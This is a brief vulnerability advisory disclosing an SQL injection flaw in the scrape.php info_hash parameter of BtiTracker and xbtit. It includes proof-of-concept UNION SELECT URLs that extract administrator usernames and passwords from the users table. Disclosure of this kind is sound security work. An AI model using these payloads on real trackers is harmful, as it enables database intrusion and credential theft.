btitrackerxbtit-sql.txt

`SQL Injection Vulnerability in BtiTracker and xbtit  
  
Vulnerable products  
  
BtiTracker <=1.4.7  
https://sourceforge.net/projects/btit-tracker/  
  
xbtit <=2.0.542  
http://www.btiteam.org  
  
Description  
  
A vulnerability is caused due to the application does not perform sanitation  
checks for input passed to the parameter info_hash in scrape.php. A remote  
attacker can inject and execute arbitrary SQL commands in application`s  
database.  
  
PoC  
  
## Exploit:  
## =========================================================  
## http://site/scrape.php?info_hash=1%27)  
##  
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0  
## +FROM+users+WHERE+id_level=8/*  
## =========================================================  
## for xBtiTracker we need to specify prefix:  
## =========================================================  
## http://site/scrape.php?info_hash=1%27)  
##  
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0  
## +FROM+xbtit_users+WHERE+id_level=8/*  
## =========================================================  
  
Original advisories  
  
http://www.securitylab.ru/vulnerability/358375.php  
http://www.securitylab.ru/vulnerability/358377.php  
  
Credits  
  
The vulnerability was discovered by InATeam (http://inattack.ru/).  
  
  
BR,  
Valery Marchuk  
www.SecurityLab.ru  
  
  
`